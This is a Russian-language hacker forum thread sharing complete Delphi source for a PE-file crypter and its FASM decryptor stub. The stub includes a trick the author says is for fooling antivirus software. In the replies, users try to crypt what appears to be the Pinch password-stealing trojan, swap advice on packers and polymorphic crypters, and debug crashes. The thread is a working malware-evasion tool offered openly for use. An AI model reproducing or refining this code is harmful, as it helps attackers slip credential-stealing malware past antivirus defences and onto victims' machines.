Исходник Криптора на Delphi комунить нужен? Надоело мне уже всё. Вот начну опен соурс будь он не ладен, блин. Просто тем было уже много. Типа многие спрашивают как и что писать. Вот к примеру мне с нуля пришлось разбираться как писать крипторы и как многие знают в инете по этой теме мало инфы. Поэтому если сам пару деньков лбом не побиьешься, хрен догадаешься как писать эти крипторы. Кодеры и обычный хакеры и юзвери, можете меня пинять ногами за это, можите ставить минусы, а можите и плюсы. Но ВОт исходник простейшего криптора. Сделано всё кривовато, но всёже пашет. Просто смысла от простеньких крипторов мало. Поэтому пусть народ учится писать крипторы А хорошие крипторы - мы и сами для себя напишим. Вот исходник самого криптора: Code: // Шифровщик исполняемых файлов // Crypter v3.1 (C) SLESH 2007 // E-MAIL: [email protected] // ICQ: 266-334-734 // WMZ: Z671833489051 // WMR: R156568501269 program Crypt; {$APPTYPE CONSOLE} uses windows,sysutils; type pe_head=record // структура PE заголовка без первого элемента //Signature:dword; CPU_Type:word; Num_of_Objects:word; Time_Date_Stamp:dword; Pointer_to_COFF_table:dword; COFF_table_size:dword; NT_Header_Size:word; Flags:word; Magic:word; Link_Major:byte; Link_Minor:byte; Size_of_Code:dword; Size_of_Init_Data:dword; Size_of_UnInit_Data:dword; Entry_point_RVA:dword; Base_of_Code:dword; Base_of_Data:dword; Image_Base:dword; Object_Align:dword; File_Align:dword; OS_Major:word; OS_Minor:word; USER_Major:word; USER_Minor:word; SubSys_Major:word; SubSys_Minor:word; Reserved:dword; Image_Size:dword; Header_Size:dword; File_CheckSum:dword; SubSytem:word; DLL_Flags:word; Stack_Reserve_Size:dword; Stack_Commit_Size:dword; Heap_Reserve_Size:dword; Heap_Comit_Size:dword; Loader_Flags:dword; Num_of_RVA_and_Sizes:dword; Export_Table_RVA:dword; Export_Data_Size:dword; Import_Table_RVA:dword; Import_Data_Size:dword; Resource_Table_RVA:dword; Resource_Data_Size:dword; Exception_Table_RVA:dword; Exception_Data_Size:dword; Security_Table_RVA:dword; Security_Data_Size:dword; Fix_Ups_Table_RVA:dword; Fix_Ups_Data_Size:dword; Debug_Table_RVA:dword; Debug_Data_Size:dword; Image_Description_RVA:dword; Description_Data_Size:dword; Machine_Specific_RVA:dword; Machnine_Data_Size:dword; TLS_RVA:dword; TLS_Data_Size:dword; Load_Config_RVA:dword; Load_Config_Data_Size:dword; Reserved1:array[1..8] of byte; IAT_RVA:dword; IAT_Data_Size:dword; Reserved2:array[1..24] of byte; end; Section_table=record // структура таблица секции Object_Name:array[1..8] of char; Virtual_Size:dword; Section_RVA:dword; Physical_Size:dword; Physical_Offset:dword; Reserved:array[1..12] of byte; Object_Flags:dword; end; var CryptCode_start:packed record // Начало расшифровщика c0:byte; // случайное число c1:array[1..28] of char; // массив для ASM инструкций ret_adr:dword; // адресс старой точки входа end; CryptCode_decoder:packed record // расшифровщик секции c1:byte; // ASM инструкция start_adr:dword; // адрес начала расшировки c2:byte; // ASM инструкция decrypt_size:dword; // Адресс конца расшифровки c3:array[1..8] of byte; // Массив ASM иструкций end; CryptCode_end:packed record // Конец расшифровщика c1:array[1..6] of char; // массив ASM инструкций end; f:thandle;// дискриптор файла c:byte; // временная переменная he:pe_head; // заголовок PE st:array[1..20] of Section_table; // массив стаблиц секций MPO:dword; // номер физически последней секции PE_ofs:dword; // смещение PE заголовка относительно начала файла newstart:dword; // новый адрес точки входа maxz:dword; // максимальное смещение для вставляемой секции file_in,file_out:string; // имя сходного и выходного файла crypt_byte:byte; // байт для шифрования x,y:dword; // для организации цикла number_of_crypt_section:byte=0; // кол-вл закриптованных секций name:string; // имя секции no_crypt:array[1..10] of boolean; // массим запретов на криптование секции fils:dword; label m1,m2; // метки :) begin file_in:=paramstr(1); // получить имя входного файла file_out:=paramstr(2); // получить имя выходного файла for x:=1 to 10 do no_crypt[x]:=false; // первоначально можно криптовать все секции x:=3; // начальный параметр while paramstr(x)<>'' do // перебирать параметры пока они есть begin no_crypt[strtoint(paramstr(x))]:=true; // запись запрешения криптования inc(x); // следующий параметр end; if (file_in='') or (file_out='') then // если входной или выходной файл не указан begin // вывести справку writeln('Crypter v3.1 (C) SLESH 2007'); writeln('E-MAIL: [email protected]'); writeln('ICQ: 266-334-734'); writeln('WMZ: Z671833489051'); writeln('WMR: R156568501269'); writeln; writeln('Usage: Crypter.exe file_in file_out [non_crypt] [non_crypt] ...'); writeln('file_in - program for crypting'); writeln('file_out - output file'); writeln('non_crypt - section no will be crypted'); exit; end; if not fileexists(file_in) then // если входной файл не найден begin write('[-] Input file not found'); exit; end; deletefile(file_out); // удалить выходной файл. На всякий случай :) if fileexists(file_out) then // Если выходной файл не удалился begin writeln('[-] Can not create output file'); exit; end; copyfile(Pansichar(file_in),Pansichar(file_out),true); // копирование программы if not fileexists(file_out) then // если ну удалось скопировать begin writeln('[-] Can not create output file'); exit; end; writeln('[+] Output file is created'); f:=fileopen(file_out,fmOpenReadWrite); // открытие скопированного файла на чтение\запись if f=INVALID_HANDLE_VALUE then // если не удалось открыть begin writeln('[-] Can not open output file for crypting'); exit; end; fils:=Windows.GetFileSize(f,nil); writeln('[+] Output file open for crypting'); pe_ofs:=0; // счеткик смещения // проверка программы на MZ сигнатуру fileread(f,c,1); // считать один байт if c<>ord('M') then // если это не M begin writeln('[-] Input file is not correct'); exit; end; fileread(f,c,1); // считать один байт if c<>ord('Z') then // если это не Z begin writeln('[-] Input file is not correct'); exit; end; // поиск PE заголовка m1: repeat fileread(f,c,1); inc(pe_ofs); until c=ord('P'); fileread(f,c,1); inc(pe_ofs); if c<>ord('E') then goto m1; writeln('[+] PE head is found'); writeln(' PE head offset = ',pe_ofs); fileread(f,c,1); // считать оставшиеся 2 байт асигнатуры PE заголовка fileread(f,c,1); fileread(f,he,sizeof(he)); // считать PE заголовок writeln('[+] PE head read OK'); writeln(' Section count = ',he.Num_of_Objects); for x:=1 to he.Num_of_Objects do fileread(f,st[x],sizeof(st[x])); // считать все таблицы секций writeln('[+] Read sections OK'); // поиск физически последней секции MPO:=1; for x:=1 to he.Num_of_Objects do // перебрать все секции if st[x].Physical_Offset>st[MPO].Physical_Offset then MPO:=x; // если физической смещение больше writeln(' Old Entry_point_RVA = '+inttohex(he.Entry_point_RVA+he.Image_Base,8)); randomize; // формирование начального кода расшифровщика CryptCode_start.c0:=random(256); CryptCode_start.c1:=#$68#$FF#$64#$24#$F0#$68#$58#$58#$58#$58#$FF#$D4#$50#$8B#$40#$F2#$05#$B0#$95#$F6#$95#$0F#$85#$01#$81#$BB#$FF#$68; CryptCode_start.ret_adr:=he.Entry_point_RVA+he.Image_Base; CryptCode_decoder.c1:=$BF; // mov edi, CryptCode_decoder.c2:=$B9; // mov ecx, CryptCode_decoder.c3[1]:=$80; //-- CryptCode_decoder.c3[2]:=$37; //m1: xor [edi],byte 99h CryptCode_decoder.c3[3]:=255; CryptCode_decoder.c3[4]:=$47; // inc edi CryptCode_decoder.c3[5]:=$39; // -- CryptCode_decoder.c3[6]:=$CF; // cmp edi,ecx CryptCode_decoder.c3[7]:=$75; // -- CryptCode_decoder.c3[8]:=$F8; // jne m1 CryptCode_end.c1:=#$E8#$00#$00#$00#$00#$C3; fileseek(f,0,2); // переместиться в конец файла filewrite(f,CryptCode_start,sizeof(CryptCode_start)); //записать начальный код расшифровщика writeln('[+] Decrypt code write OK'); writeln(' Crypting...'); for y:=1 to he.Num_of_Objects do // перебрать все секции begin name:=st[y].Object_Name; // получить имя секции repeat delete(name,pos(#0,name),1); // удаление символа #0 из имени until (pos(#0,name)=0) or (length(name)=0); // удалить все символы #0 write(' Found section: '+name+'.......'); if no_crypt[y]=true then // если указано в параметрах запрещение шифрование это секции begin writeln('skipped: no crypt'); goto m2; // переход на следующую секцию end; if st[y].Physical_Size=0 then // если физический размер секции = 0 begin writeln('skipped: zero size'); goto m2; end; // проверка на секции которые нельзя шифровать if (name='.idata') then begin writeln('skipped: import data'); goto m2; end; if (name='.rsrc') then begin writeln('skipped: resource data'); goto m2; end; if (name='.edata') then begin writeln('skipped: export data'); goto m2; end; if (name='.reloc') then begin writeln('skipped: config table'); goto m2; end; if (name='.rdata') then begin writeln('skipped: debug information'); goto m2; end; if (pos('UPX',name)<>0) then begin writeln('skipped: UPX packet'); goto m2; end; // если программа дошла до этой точки, то значит секцию можно шифровать inc(number_of_crypt_section); // увеличить счетчик зашифрованных секций randomize; crypt_byte:=random(255)+1; // генерация байта для шифрования CryptCode_decoder.c3[3]:=crypt_byte; // запись в расшифровщик байта шифрования for x:=0 to st[y].Physical_Size-1 do // перебрать все символы шифрумой секции begin fileseek(f,st[y].Physical_Offset+x,0); // переход на символ fileread(f,c,1); // чтение символа c:=c xor crypt_byte; // шифрование fileseek(f,st[y].Physical_Offset+x,0); // переход обратно filewrite(f,c,1); // записаь символа end; st[y].Object_Flags:=st[y].Object_Flags or $80000000; // Установка флага разрешения записисекцию fileseek(f,pe_ofs+sizeof(he)+sizeof(st[1])*(y-1)+$28,0); // переход на смещение флагов секции filewrite(f,st[y].Object_Flags,4); // запись флага fileseek(f,0,2); // переход к конец файла CryptCode_decoder.start_adr:=he.Image_Base+st[y].Section_RVA; // запись начального адреса расшифровки CryptCode_decoder.decrypt_size:=he.Image_Base+st[y].Section_RVA+st[y].Physical_Size; // записаь конечного адреса расшифровки CryptCode_decoder.c3[3]:=crypt_byte; // запись байта шифрования filewrite(f,cryptcode_decoder,sizeof(cryptcode_decoder)); // запись расшифровщика в файл writeln('crypted'); m2: end; filewrite(f,cryptcode_end,sizeof(cryptcode_end)); // запись конца расшифровщика writeln('[+] Crypting OK'); writeln(' ',number_of_crypt_section,' sections is crypted'); maxz:=st[MPO].Physical_Size; // поиск максимального смещения if st[MPO].Virtual_Size>maxz then maxz:=st[MPO].Virtual_Size; newstart:=st[MPO].Section_RVA+maxz; // вычисление адреса новой точки входа if newstart mod he.Object_Align <>0 then newstart:=newstart - (newstart mod he.Object_Align)+he.Object_Align; // выравнение // создание новой секции st[20].Object_Name:='SCRYPT'+#0#0; // имя st[20].Virtual_Size:=he.Object_Align; // виртуальный размер st[20].Section_RVA:=newstart; // виртуально смещение st[20].Physical_Size:=sizeof(CryptCode_start)+sizeof(cryptcode_decoder)*number_of_crypt_section+sizeof(cryptcode_end); //физический размер //st[20].Physical_Offset:=st[MPO].Physical_Size+st[MPO].Physical_Offset; // физической смещение st[20].Physical_Offset:=fils; // физической смещение st[20].Object_Flags:=$60000020; // флаг разрешения исполнения кода inc(newstart); // т.к. код расшифровщика находится по смещение 1 fileseek(f,pe_ofs+$28,0); // filewrite(f,newstart,4); // запись новой точки входа writeln(' New Entry_point_RVA = '+inttohex(newstart+he.Image_Base,8)); he.Image_Size:=he.Image_Size+he.Object_Align; // выравнений виртуального размера fileseek(f,pe_ofs+$50,0); // filewrite(f,he.Image_Size,4); // запись ногово виртуального размера fileseek(f,pe_ofs+sizeof(he)+4+sizeof(st[1])*he.Num_of_Objects,0); // filewrite(f,st[20],sizeof(st[20])); // запись новой секции inc(he.Num_of_Objects); // увеличение числа объектов fileseek(f,pe_ofs+6,0); // filewrite(f,he.Num_of_Objects,2); // запись нового числа объектов fileclose(f); // закрытие файла writeln('[+] Done'); end. Вот исходник кода расшифровщика - написан на FASM. Кстати маленькое отступлене - часть этого кода, а именно принцип обмана антивирей был заимствован из криптора vasky. Я перед ним за это извеняюсь, но надеюсь он поймет и не будет пинать ногами. Он очень поход на его код, но мой весит меньше на пару байт Вот исходник расшифровщика: Code: use32 push 0f02464ffh push 58585858h call esp push eax mov eax,[eax-$0e] add eax,$95f695b0 jnz $-00447ef9h push 11111111h mov edi,22222222h mov ecx,33333333h m1: xor [edi],byte 99h inc edi cmp edi,ecx jne m1 call +$00000000 ret Если комуто пригодилось то киньте скока не жалко на кошель: WMZ: Z671833489051 WMR: R156568501269 А то за мобилу платить уже нечем
(* Чещу свою репу *) С виду криптор получился прикольненький, но всёже херня. Буду писать крипт где можно шифровать таблицу импорта. Вот тогад будет нормальная вешь, а такое какое оно шас есть - эт не жалко людям отдать!
В ообщем ты молодлец, но если не сложно можешь выложить исходники(не текстом, а файлами.)Заранее спс.
Вот от сюда точно будет кочаться(покрайней мере надеюсь на это): http://www.slesh.xost.ru/cryptor.rar
Макс, я рад, что ты выложил свой труд, но все же, поверь, ты мог бы дописать его и заработать на мобилу. Ну а так, конечно же респект тебе за подробные комменты. Трудно недооценить этот код для новичка! А то что из васкиного криптора дергал, так то ничо. Колесо тож не он изобрел=)
C:\>cryptor\Crypt.exe pinch3.exe pinch.exe вотя прописал в командной строке и он мне написал [-] Input file not found и пинч не закриптовался ... и файл новый не появился ... помогите
Другая трабла. Криптую, а при попытке запустить криптованный файл (результат) ошибка: Инструкция по адресу "0х0040с003" обратилась к памяти по адресу "0х7с90еb94". Память не может быть "written".
Luks Криптанулся с ошибкой. Файл пытается записать данные по адресу, где запись запрешена! Попробуй свой файл перед криптовкой упаковать UPX, FSG, MEW - это стандартные пакеры, поверх которых уж думаю должно криптоваться.
На С++ незнаю, а вот на ДЕЛФИ есть хороший поликриптор Morphine можно поглядеть реализацию, а на каком языке это не важно, можно и переписать.
все хорошо, но я попытался заменить xor на shl сначала в стабе потом в цикле где происходит шифровка, но файл вылетает с ошибкой( TC, стукни в асю: 463-230